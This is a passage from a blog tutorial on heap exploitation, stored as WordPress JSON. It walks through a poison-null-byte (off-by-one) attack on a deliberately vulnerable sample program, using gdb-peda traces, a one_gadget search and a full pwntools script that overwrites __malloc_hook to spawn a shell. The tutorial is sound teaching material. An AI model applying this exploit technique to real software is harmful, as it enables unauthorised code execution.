fault.\r\n\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nRAX: 0xb00bb00b \r\nRBX: 0x0 \r\nRCX: 0x7ffff7b04260 (&lt;__read_nocancel+7&gt;:\tcmp    rax,0xfffffffffffff001)\r\nRDX: 0x20 (' ')\r\nRSI: 0x400a3c (&lt;create+316&gt;:\tmov    rcx,rax)\r\nRDI: 0x10 \r\nRBP: 0x7fffffffe4b0 --&gt; 0x7fffffffe4d0 --&gt; 0x400bd0 (&lt;__libc_csu_init&gt;:\tpush   r15)\r\nRSP: 0x7fffffffe088 --&gt; 0x400a3c (&lt;create+316&gt;:\tmov    rcx,rax)\r\nRIP: 0xb00bb00b \r\nR8 : 0x7ffff7fdc700 (0x00007ffff7fdc700)\r\nR9 : 0x6 \r\nR10: 0x7ffff7b845e0 --&gt; 0x2000200020002 \r\nR11: 0x246 \r\nR12: 0x400740 (&lt;_start&gt;:\txor    ebp,ebp)\r\nR13: 0x7fffffffe5b0 --&gt; 0x1 \r\nR14: 0x0 \r\nR15: 0x0\r\nEFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\nInvalid $PC address: 0xb00bb00b\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0x7fffffffe088 --&gt; 0x400a3c (&lt;create+316&gt;:\tmov    rcx,rax)\r\n0008| 0x7fffffffe090 --&gt; 0x10f7fdd000 \r\n0016| 0x7fffffffe098 --&gt; 0x400000004 \r\n0024| 0x7fffffffe0a0 (&quot;trigger exploit\\n&quot;)\r\n0032| 0x7fffffffe0a8 (&quot;exploit\\n&quot;)\r\n0040| 0x7fffffffe0b0 --&gt; 0xb00bb00b474700 \r\n0048| 0x7fffffffe0b8 --&gt; 0x4747474747000000 ('')\r\n0056| 0x7fffffffe0c0 ('G' &lt;repeats 72 times&gt;)\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\n0x00000000b00bb00b in ?? ()\r\n<\/pre>\n<hr \/>\n<h2 id=\"oneg\">One Gadget<\/h2>\n<p>After we have successfully leaked the libc base-address and also control the instruction pointer, our exploit is almost done. At last we only have to spawn a shell.<\/p>\n<p>As you may have noticed from the <code>gdb<\/code> output of the segmentation fault, we also control parts of the stack because the entered data is stored there (output above: <code>trigger exploit<\/code>). In combination with a pivoting gadget and another few gadgets we could use this to call <code>system<\/code> or even make a syscall to <code>execve<\/code>. Nevertheless I decided to use the very handy <a href=\"https:\/\/github.com\/david942j\/one_gadget\" target=\"_blank\" rel=\"noopener\">One Gadget tool<\/a>. This tool provides offsets within a specific libc which will lead to a call to <code>execve('\/bin\/sh', NULL, NULL)<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nxerus@xerus:~\/pwn\/heap$ one_gadget \/lib\/x86_64-linux-gnu\/libc.so.6\r\n0x45216\texecve(&quot;\/bin\/sh&quot;, rsp+0x30, environ)\r\nconstraints:\r\n  rax == NULL\r\n\r\n0x4526a\texecve(&quot;\/bin\/sh&quot;, rsp+0x30, environ)\r\nconstraints:\r\n  &#x5B;rsp+0x30] == NULL\r\n\r\n0xf02a4\texecve(&quot;\/bin\/sh&quot;, rsp+0x50, environ)\r\nconstraints:\r\n  &#x5B;rsp+0x50] == NULL\r\n\r\n0xf1147\texecve(&quot;\/bin\/sh&quot;, rsp+0x70, environ)\r\nconstraints:\r\n  &#x5B;rsp+0x70] == NULL\r\n<\/pre>\n<p>As you can see, there are some constraints, which must be met for the gadget to work.<\/p>\n<p>We can simply test one gadget after another and set a breakpoint in order to see if the constraints are met:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\noneshot_offset = 0x45216\r\n#oneshot_offset = 0x4526a\r\n#oneshot_offset = 0xf02a4\r\n#oneshot_offset = 0xf1147\r\n\r\n# the next allocation with a size equal to chunk_BBB (0x70 = fastbin)\r\n# will return the address of hook from the fastbin-list\r\n# --&gt; store the address of oneshot in __malloc_hook\r\noneshot = libc_base + oneshot_offset\r\ncreate(0x68, 0x13*'G'+p64(oneshot)+0x4d*'G')\r\n\r\n# since __malloc_hook is set now, the next call to malloc will\r\n# call the address stored there (oneshot)\r\ncreate(0x20, 'trigger exploit')\r\n<\/pre>\n<p>The constraint of the first gadget is <code>rax == NULL<\/code>. Let&#8217;s give it a try:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,7,29]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ b *(0x7ffff7a0d000 + 0x45216)\r\nHaltepunkt 1 at 0x7ffff7a52216: file ..\/sysdeps\/posix\/system.c, line 130.\r\ngdb-peda$ c\r\nContinuing.\r\n\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nRAX: 0x7ffff7a52216 (&lt;do_system+1014&gt;:\tlea    rsi,&#x5B;rip+0x381343]        # 0x7ffff7dd3560 &lt;intr&gt;)\r\nRBX: 0x0 \r\nRCX: 0x7ffff7b04260 (&lt;__read_nocancel+7&gt;:\tcmp    rax,0xfffffffffffff001)\r\nRDX: 0x20 (' ')\r\nRSI: 0x400a3c (&lt;create+316&gt;:\tmov    rcx,rax)\r\nRDI: 0x10 \r\nRBP: 0x7fffffffe4b0 --&gt; 0x7fffffffe4d0 --&gt; 0x400bd0 (&lt;__libc_csu_init&gt;:\tpush   r15)\r\nRSP: 0x7fffffffe088 --&gt; 0x400a3c (&lt;create+316&gt;:\tmov    rcx,rax)\r\nRIP: 0x7ffff7a52216 (&lt;do_system+1014&gt;:\tlea    rsi,&#x5B;rip+0x381343]        # 0x7ffff7dd3560 &lt;intr&gt;)\r\nR8 : 0x7ffff7fdc700 (0x00007ffff7fdc700)\r\nR9 : 0x6 \r\nR10: 0x7ffff7b845e0 --&gt; 0x2000200020002 \r\nR11: 0x246 \r\nR12: 0x400740 (&lt;_start&gt;:\txor    ebp,ebp)\r\nR13: 0x7fffffffe5b0 --&gt; 0x1 \r\nR14: 0x0 \r\nR15: 0x0\r\nEFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x7ffff7a52205 &lt;do_system+997&gt;:\tcall   0x7ffff7a426f0 &lt;__GI___sigaction&gt;\r\n   0x7ffff7a5220a &lt;do_system+1002&gt;:\tjmp    0x7ffff7a52189 &lt;do_system+873&gt;\r\n   0x7ffff7a5220f &lt;do_system+1007&gt;:\tlea    rax,&#x5B;rip+0x147b46]        # 0x7ffff7b99d5c\r\n=&gt; 0x7ffff7a52216 &lt;do_system+1014&gt;:\tlea    rsi,&#x5B;rip+0x381343]        # 0x7ffff7dd3560 &lt;intr&gt;\r\n   0x7ffff7a5221d &lt;do_system+1021&gt;:\txor    edx,edx\r\n   0x7ffff7a5221f &lt;do_system+1023&gt;:\tmov    edi,0x2\r\n   0x7ffff7a52224 &lt;do_system+1028&gt;:\tmov    QWORD PTR &#x5B;rsp+0x40],rbx\r\n   0x7ffff7a52229 &lt;do_system+1033&gt;:\tmov    QWORD PTR &#x5B;rsp+0x48],0x0\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0x7fffffffe088 --&gt; 0x400a3c (&lt;create+316&gt;:\tmov    rcx,rax)\r\n0008| 0x7fffffffe090 --&gt; 0x10f7fdd000 \r\n0016| 0x7fffffffe098 --&gt; 0x400000004 \r\n0024| 0x7fffffffe0a0 (&quot;trigger exploit\\n&quot;)\r\n0032| 0x7fffffffe0a8 (&quot;exploit\\n&quot;)\r\n0040| 0x7fffffffe0b0 --&gt; 0xfff7a52216474700 \r\n0048| 0x7fffffffe0b8 --&gt; 0x474747474700007f \r\n0056| 0x7fffffffe0c0 ('G' &lt;repeats 72 times&gt;)\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, do_system (line=0x0) at ..\/sysdeps\/posix\/system.c:130\r\n130\t..\/sysdeps\/posix\/system.c: Datei oder Verzeichnis nicht gefunden.\r\n<\/pre>\n<p><code>RAX<\/code> contains the value <code>0x7ffff7a52216<\/code>. Thus the constraint is not met and the gadget will not work.<\/p>\n<p>Let&#8217;s proceed with the second one with the constraint <code>[rsp+0x30] == NULL<\/code>:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n#oneshot_offset = 0x45216\r\noneshot_offset = 0x4526a\r\n#oneshot_offset = 0xf02a4\r\n#oneshot_offset = 0xf1147\r\n...\r\n<\/pre>\n<pre class=\"brush: bash; gutter: false; highlight: [1,29,48,49]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ b *(0x7ffff7a0d000 + 0x4526a)\r\nHaltepunkt 1 at 0x7ffff7a5226a: file ..\/sysdeps\/posix\/system.c, line 136.\r\ngdb-peda$ c\r\nContinuing.\r\n\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nRAX: 0x7ffff7a5226a (&lt;do_system+1098&gt;:\tmov    rax,QWORD PTR &#x5B;rip+0x37ec47]        # 0x7ffff7dd0eb8)\r\nRBX: 0x0 \r\nRCX: 0x7ffff7b04260 (&lt;__read_nocancel+7&gt;:\tcmp    rax,0xfffffffffffff001)\r\nRDX: 0x20 (' ')\r\nRSI: 0x400a3c (&lt;create+316&gt;:\tmov    rcx,rax)\r\nRDI: 0x10 \r\nRBP: 0x7fffffffe4b0 --&gt; 0x7fffffffe4d0 --&gt; 0x400bd0 (&lt;__libc_csu_init&gt;:\tpush   r15)\r\nRSP: 0x7fffffffe088 --&gt; 0x400a3c (&lt;create+316&gt;:\tmov    rcx,rax)\r\nRIP: 0x7ffff7a5226a (&lt;do_system+1098&gt;:\tmov    rax,QWORD PTR &#x5B;rip+0x37ec47]        # 0x7ffff7dd0eb8)\r\nR8 : 0x7ffff7fdc700 (0x00007ffff7fdc700)\r\nR9 : 0x6 \r\nR10: 0x7ffff7b845e0 --&gt; 0x2000200020002 \r\nR11: 0x246 \r\nR12: 0x400740 (&lt;_start&gt;:\txor    ebp,ebp)\r\nR13: 0x7fffffffe5b0 --&gt; 0x1 \r\nR14: 0x0 \r\nR15: 0x0\r\nEFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x7ffff7a5225d &lt;do_system+1085&gt;:\tmov    rsi,r12\r\n   0x7ffff7a52260 &lt;do_system+1088&gt;:\tmov    edi,0x2\r\n   0x7ffff7a52265 &lt;do_system+1093&gt;:\tcall   0x7ffff7a42720 &lt;__sigprocmask&gt;\r\n=&gt; 0x7ffff7a5226a &lt;do_system+1098&gt;:\tmov    rax,QWORD PTR &#x5B;rip+0x37ec47]        # 0x7ffff7dd0eb8\r\n   0x7ffff7a52271 &lt;do_system+1105&gt;:\tlea    rdi,&#x5B;rip+0x147adf]        # 0x7ffff7b99d57\r\n   0x7ffff7a52278 &lt;do_system+1112&gt;:\tlea    rsi,&#x5B;rsp+0x30]\r\n   0x7ffff7a5227d &lt;do_system+1117&gt;:\tmov    DWORD PTR &#x5B;rip+0x381219],0x0        # 0x7ffff7dd34a0 &lt;lock&gt;\r\n   0x7ffff7a52287 &lt;do_system+1127&gt;:\tmov    DWORD PTR &#x5B;rip+0x381213],0x0        # 0x7ffff7dd34a4 &lt;sa_refcntr&gt;\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0x7fffffffe088 --&gt; 0x400a3c (&lt;create+316&gt;:\tmov    rcx,rax)\r\n0008| 0x7fffffffe090 --&gt; 0x10f7fdd000 \r\n0016| 0x7fffffffe098 --&gt; 0x400000004 \r\n0024| 0x7fffffffe0a0 (&quot;trigger exploit\\n&quot;)\r\n0032| 0x7fffffffe0a8 (&quot;exploit\\n&quot;)\r\n0040| 0x7fffffffe0b0 --&gt; 0xfff7a5226a474700 \r\n0048| 0x7fffffffe0b8 --&gt; 0x474747474700007f \r\n0056| 0x7fffffffe0c0 ('G' &lt;repeats 72 times&gt;)\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, do_system (line=0x0) at ..\/sysdeps\/posix\/system.c:136\r\n136\t..\/sysdeps\/posix\/system.c: Datei oder Verzeichnis nicht gefunden.\r\ngdb-peda$ x\/xg $rsp+0x30\r\n0x7fffffffe0b8:\t0x474747474700007f\r\n<\/pre>\n<p><code>[rsp+0x30]<\/code> contains the value <code>0x474747474700007f<\/code>. Thus the constraint is not met. The <code>0x474747..<\/code> seems to be the <code>GGG...<\/code> we entered as data. We could change this to null-bytes, but we do not control the full quadword. So let&#8217;s just proceed with the third gadget and the constraint <code>[rsp+0x50] == NULL<\/code>:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n#oneshot_offset = 0x45216\r\n#oneshot_offset = 0x4526a\r\noneshot_offset = 0xf02a4\r\n#oneshot_offset = 0xf1147\r\n...\r\n<\/pre>\n<pre class=\"brush: bash; gutter: false; highlight: [1,29,48,49]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ b *(0x7ffff7a0d000 + 0xf02a4)\r\nHaltepunkt 1 at 0x7ffff7afd2a4: file wordexp.c, line 876.\r\ngdb-peda$ c\r\nContinuing.\r\n\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nRAX: 0x7ffff7afd2a4 (&lt;exec_comm+1140&gt;:\tmov    rax,QWORD PTR &#x5B;rip+0x2d3c0d]        # 0x7ffff7dd0eb8)\r\nRBX: 0x0 \r\nRCX: 0x7ffff7b04260 (&lt;__read_nocancel+7&gt;:\tcmp    rax,0xfffffffffffff001)\r\nRDX: 0x20 (' ')\r\nRSI: 0x400a3c (&lt;create+316&gt;:\tmov    rcx,rax)\r\nRDI: 0x10 \r\nRBP: 0x7fffffffe4b0 --&gt; 0x7fffffffe4d0 --&gt; 0x400bd0 (&lt;__libc_csu_init&gt;:\tpush   r15)\r\nRSP: 0x7fffffffe088 --&gt; 0x400a3c (&lt;create+316&gt;:\tmov    rcx,rax)\r\nRIP: 0x7ffff7afd2a4 (&lt;exec_comm+1140&gt;:\tmov    rax,QWORD PTR &#x5B;rip+0x2d3c0d]        # 0x7ffff7dd0eb8)\r\nR8 : 0x7ffff7fdc700 (0x00007ffff7fdc700)\r\nR9 : 0x6 \r\nR10: 0x7ffff7b845e0 --&gt; 0x2000200020002 \r\nR11: 0x246 \r\nR12: 0x400740 (&lt;_start&gt;:\txor    ebp,ebp)\r\nR13: 0x7fffffffe5b0 --&gt; 0x1 \r\nR14: 0x0 \r\nR15: 0x0\r\nEFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x7ffff7afd296 &lt;exec_comm+1126&gt;:\tcall   0x7ffff7a46d00 &lt;__unsetenv&gt;\r\n   0x7ffff7afd29b &lt;exec_comm+1131&gt;:\tmov    edi,DWORD PTR &#x5B;rsp+0x40]\r\n   0x7ffff7afd29f &lt;exec_comm+1135&gt;:\tcall   0x7ffff7b048e0 &lt;close&gt;\r\n=&gt; 0x7ffff7afd2a4 &lt;exec_comm+1140&gt;:\tmov    rax,QWORD PTR &#x5B;rip+0x2d3c0d]        # 0x7ffff7dd0eb8\r\n   0x7ffff7afd2ab &lt;exec_comm+1147&gt;:\tlea    rsi,&#x5B;rsp+0x50]\r\n   0x7ffff7afd2b0 &lt;exec_comm+1152&gt;:\tlea    rdi,&#x5B;rip+0x9caa0]        # 0x7ffff7b99d57\r\n   0x7ffff7afd2b7 &lt;exec_comm+1159&gt;:\tmov    rdx,QWORD PTR &#x5B;rax]\r\n   0x7ffff7afd2ba &lt;exec_comm+1162&gt;:\tcall   0x7ffff7ad9770 &lt;execve&gt;\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0x7fffffffe088 --&gt; 0x400a3c (&lt;create+316&gt;:\tmov    rcx,rax)\r\n0008| 0x7fffffffe090 --&gt; 0x10f7fdd000 \r\n0016| 0x7fffffffe098 --&gt; 0x400000004 \r\n0024| 0x7fffffffe0a0 (&quot;trigger exploit\\n&quot;)\r\n0032| 0x7fffffffe0a8 (&quot;exploit\\n&quot;)\r\n0040| 0x7fffffffe0b0 --&gt; 0xfff7afd2a4474700 \r\n0048| 0x7fffffffe0b8 --&gt; 0x474747474700007f \r\n0056| 0x7fffffffe0c0 ('G' &lt;repeats 72 times&gt;)\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, exec_comm_child (noexec=&lt;optimized out&gt;, showerr=&lt;optimized out&gt;, fildes=0x7fffffffe0c8, \r\n    comm=0xa74696f6c707865 &lt;error: Cannot access memory at address 0xa74696f6c707865&gt;) at wordexp.c:876\r\n876\twordexp.c: Datei oder Verzeichnis nicht gefunden.\r\ngdb-peda$ x\/xg $rsp+0x50\r\n0x7fffffffe0d8:\t0x4747474747474747\r\n<\/pre>\n<p><code>[rsp+0x50]<\/code> contains the value <code>0x4747474747474747<\/code> and thus the constraint is not met. But this time we control the full quadword. So let&#8217;s change the <code>GGG..<\/code> into null-bytes &#8230;<\/p>\n<pre class=\"brush: python; gutter: false; highlight: [5]; title: ; notranslate\" title=\"\">\r\n# the next allocation with a size equal to chunk_BBB (0x70 = fastbin)\r\n# will return the address of hook from the fastbin-list\r\n# --&gt; store the address of oneshot in __malloc_hook\r\noneshot = libc_base + oneshot_offset\r\ncreate(0x68, 0x13*'G'+p64(oneshot)+0x4d*'\\x00')\r\n\r\n# since __malloc_hook is set now, the next call to malloc will\r\n# call the address stored there (oneshot)\r\ncreate(0x20, 'trigger exploit')\r\n<\/pre>\n<p>&#8230; and verify that <code>[rsp+0x50]<\/code> is null:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,29,49,50]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ b *(0x7ffff7a0d000 + 0xf02a4)\r\nHaltepunkt 1 at 0x7ffff7afd2a4: file wordexp.c, line 876.\r\ngdb-peda$ c\r\nContinuing.\r\n\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nRAX: 0x7ffff7afd2a4 (&lt;exec_comm+1140&gt;:\tmov    rax,QWORD PTR &#x5B;rip+0x2d3c0d]        # 0x7ffff7dd0eb8)\r\nRBX: 0x0 \r\nRCX: 0x7ffff7b04260 (&lt;__read_nocancel+7&gt;:\tcmp    rax,0xfffffffffffff001)\r\nRDX: 0x20 (' ')\r\nRSI: 0x400a3c (&lt;create+316&gt;:\tmov    rcx,rax)\r\nRDI: 0x10 \r\nRBP: 0x7fffffffe4b0 --&gt; 0x7fffffffe4d0 --&gt; 0x400bd0 (&lt;__libc_csu_init&gt;:\tpush   r15)\r\nRSP: 0x7fffffffe088 --&gt; 0x400a3c (&lt;create+316&gt;:\tmov    rcx,rax)\r\nRIP: 0x7ffff7afd2a4 (&lt;exec_comm+1140&gt;:\tmov    rax,QWORD PTR &#x5B;rip+0x2d3c0d]        # 0x7ffff7dd0eb8)\r\nR8 : 0x7ffff7fdc700 (0x00007ffff7fdc700)\r\nR9 : 0x6 \r\nR10: 0x7ffff7b845e0 --&gt; 0x2000200020002 \r\nR11: 0x246 \r\nR12: 0x400740 (&lt;_start&gt;:\txor    ebp,ebp)\r\nR13: 0x7fffffffe5b0 --&gt; 0x1 \r\nR14: 0x0 \r\nR15: 0x0\r\nEFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x7ffff7afd296 &lt;exec_comm+1126&gt;:\tcall   0x7ffff7a46d00 &lt;__unsetenv&gt;\r\n   0x7ffff7afd29b &lt;exec_comm+1131&gt;:\tmov    edi,DWORD PTR &#x5B;rsp+0x40]\r\n   0x7ffff7afd29f &lt;exec_comm+1135&gt;:\tcall   0x7ffff7b048e0 &lt;close&gt;\r\n=&gt; 0x7ffff7afd2a4 &lt;exec_comm+1140&gt;:\tmov    rax,QWORD PTR &#x5B;rip+0x2d3c0d]        # 0x7ffff7dd0eb8\r\n   0x7ffff7afd2ab &lt;exec_comm+1147&gt;:\tlea    rsi,&#x5B;rsp+0x50]\r\n   0x7ffff7afd2b0 &lt;exec_comm+1152&gt;:\tlea    rdi,&#x5B;rip+0x9caa0]        # 0x7ffff7b99d57\r\n   0x7ffff7afd2b7 &lt;exec_comm+1159&gt;:\tmov    rdx,QWORD PTR &#x5B;rax]\r\n   0x7ffff7afd2ba &lt;exec_comm+1162&gt;:\tcall   0x7ffff7ad9770 &lt;execve&gt;\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0x7fffffffe088 --&gt; 0x400a3c (&lt;create+316&gt;:\tmov    rcx,rax)\r\n0008| 0x7fffffffe090 --&gt; 0x10f7fdd000 \r\n0016| 0x7fffffffe098 --&gt; 0x400000004 \r\n0024| 0x7fffffffe0a0 (&quot;trigger exploit\\n&quot;)\r\n0032| 0x7fffffffe0a8 (&quot;exploit\\n&quot;)\r\n0040| 0x7fffffffe0b0 --&gt; 0xfff7afd2a4474700 \r\n0048| 0x7fffffffe0b8 --&gt; 0x7f \r\n0056| 0x7fffffffe0c0 --&gt; 0x0 \r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, exec_comm_child (noexec=&lt;optimized out&gt;, showerr=&lt;optimized out&gt;, fildes=0x7fffffffe0c8, \r\n    comm=0xa74696f6c707865 &lt;error: Cannot access memory at address 0xa74696f6c707865&gt;) at wordexp.c:876\r\n876\twordexp.c: Datei oder Verzeichnis nicht gefunden.\r\ngdb-peda$ x\/xg $rsp+0x50\r\n0x7fffffffe0d8:\t0x0000000000000000\r\n<\/pre>\n<p>Now <code>[rsp+0x50]<\/code> contains the value <code>0x0000000000000000<\/code> and thus the constraint is met!<\/p>\n<hr \/>\n<h2 id=\"final\">Final Exploit<\/h2>\n<p>The final exploit-script:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nxerus@xerus:~\/pwn\/heap$ cat exploit.py \r\n#!\/usr\/bin\/env python\r\n\r\nfrom pwn import *\r\n\r\np = process('.\/heap')\r\n\r\ndef create(size, data):\r\n  p.sendlineafter('&gt;', str(1))\r\n  p.sendlineafter('size: ', str(size))\r\n  p.sendlineafter('data: ', data)\r\n\r\ndef delete(idx):\r\n  p.sendlineafter('&gt;', str(2))\r\n  p.sendlineafter('idx: ', str(idx))\r\n\r\ndef printData(idx):\r\n  p.sendlineafter('&gt;', str(3))\r\n  p.sendlineafter('idx: ', str(idx))\r\n  p.recvuntil('data: ')\r\n  ret = p.recvuntil('\\n')\r\n  return ret&#x5B;:-1]\r\n\r\n\r\nlibc_offset    = 0x3c4b78\r\nhook_offset    = 0x3c4aed\r\n#oneshot_offset = 0x45216\r\n#oneshot_offset = 0x4526a\r\noneshot_offset = 0xf02a4\r\n#oneshot_offset = 0xf1147\r\n\r\n\r\ncreate(0xf8, 'A'*0xf8) # chunk_AAA, idx = 0\r\ncreate(0x68, 'B'*0x68) # chunk_BBB, idx = 1\r\ncreate(0xf8, 'C'*0xf8) # chunk_CCC, idx = 2\r\ncreate(0x10, 'D'*0x10) # chunk_DDD, idx = 3\r\n\r\n# chunk_AAA will be a valid free chunk (containing libc-addresses in FD\/BK)\r\ndelete(0)\r\n\r\n# leverage off-by-one vuln in chunk_BBB:\r\n# overwrite prev_inuse bit of following chunk (chunk_CCC)\r\ndelete(1)\r\ncreate(0x68, 'B'*0x68) # chunk_BBB, new idx = 0\r\n\r\n# set prev_size of following chunk (chunk_CCC) to 0x170\r\nfor i in range(0x66, 0x5f, -1):\r\n  delete(0)\r\n  create(i+2, 'B'*i + '\\x70\\x01') # chunk_BBB, new_idx = 0\r\n\r\n# now delete chunk_CCC to trigger consolidation with the fakechunk (0x170)\r\n# after this we have got a big free chunk (0x270) overlapping with chunk_BBB\r\ndelete(2)\r\n\r\n# create a new chunk (chunk_EEE) within the big free chunk to push\r\n# the libc-addresses (fd\/bk) down to chunk_BBB\r\ncreate(0xf6, 'E'*0xf6) # chunk_EEE, new_idx = 1\r\n\r\n# the content of chunk_BBB now contains fd\/bk (libc-addresses)\r\n# just print the chunk (idx = 0)\r\nlibc_leak = printData(0)\r\nlibc_leak = unpack(libc_leak + (8-len(libc_leak))*'\\x00', 64)\r\nlibc_base = libc_leak - libc_offset\r\nlog.info('libc_base: ' + hex(libc_base))\r\n\r\n# restore the size field (0x70) of chunk_BBB\r\nfor i in range(0xfd, 0xf7, -1):\r\n  delete(1)\r\n  create(i+1, 'E'*i + '\\x70') # chunk_EEE, new_idx = 1\r\n\r\n# free chunk_BBB: the address of the chunk is added to the fastbin-list\r\ndelete(0)\r\n# free chunk_EEE\r\ndelete(1)\r\n\r\n# create another new chunk (chunk_FFF) within the big free chunk which\r\n# will set the fd of the free'd fastbin chunk_BBB to the address of hook\r\nhook = libc_base + hook_offset\r\ncreate(0x108, 'F'*0x100 + p64(hook)) # new_idx = 0\r\n\r\n# restore the size field (0x70) of the free'd chunk_BBB\r\nfor i in range(0xfe, 0xf7, -1):\r\n  delete(0)\r\n  create(i+8, 'F'*i + p64(0x70)) # new_idx = 0\r\n\r\n# now recreate chunk_BBB\r\n# -&gt; this will add the address in fd (hook) to the fastbin-list\r\ncreate(0x68, 'B'*0x68)\r\n\r\n# the next allocation with a size equal to chunk_BBB (0x70 = fastbin)\r\n# will return the address of hook from the fastbin-list\r\n# --&gt; store the address of oneshot in __malloc_hook\r\noneshot = libc_base + oneshot_offset\r\ncreate(0x68, 0x13*'G'+p64(oneshot)+0x4d*'\\x00')\r\n\r\n# since __malloc_hook is set now, the next call to malloc will\r\n# call the address stored there (oneshot)\r\ncreate(0x20, 'trigger exploit')\r\np.interactive()\r\n\r\n<\/pre>\n<p>Now we can turn ASLR on again &#8230;<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nxerus@xerus:~\/pwn\/heap$ echo 2 | sudo tee \/proc\/sys\/kernel\/randomize_va_space \r\n2\r\n<\/pre>\n<p>&#8230; and run our script to spawn a shell:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nxerus@xerus:~\/pwn\/heap$ .\/exploit.py \r\n&#x5B;+] Starting local process '.\/heap': pid 32054\r\n&#x5B;*] libc_base: 0x7fe42a0d9000\r\n&#x5B;*] Switching to interactive mode\r\n$ id\r\nuid=1000(xerus) gid=1000(xerus) Gruppen=1000(xerus),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)\r\n<\/pre>\n<p>Done \ud83d\ude42 A single null-byte overflow on the heap enabled us to fully exploit the vulnerable sample program.<\/p>\n<p>Thanks for reading the article! Any feedback or comment is welcome.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The goal of this article is to explain in detail how an off-by-one vulnerability on the heap also known as poison null byte can be exploited. Although this technique does not work with the latest libc, I think it can be used very good in order to demonstrate how exploits based on heap-metadata corruption work &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/devel0pment.de\/?p=688\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Heap Exploitation: Off-By-One \/ Poison Null Byte&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[29],"tags":[8,13,18,30,10,19],"class_list":["post-688","post","type-post","status-publish","format-standard","hentry","category-article","tag-assembly","tag-elf","tag-gdb","tag-heap","tag-pwn","tag-x64"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/688"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=688"}],"version-history":[{"count":83,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/688\/revisions"}],"predecessor-version":[{"id":820,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/688\/revisions\/820"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=688"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=688"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=688"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}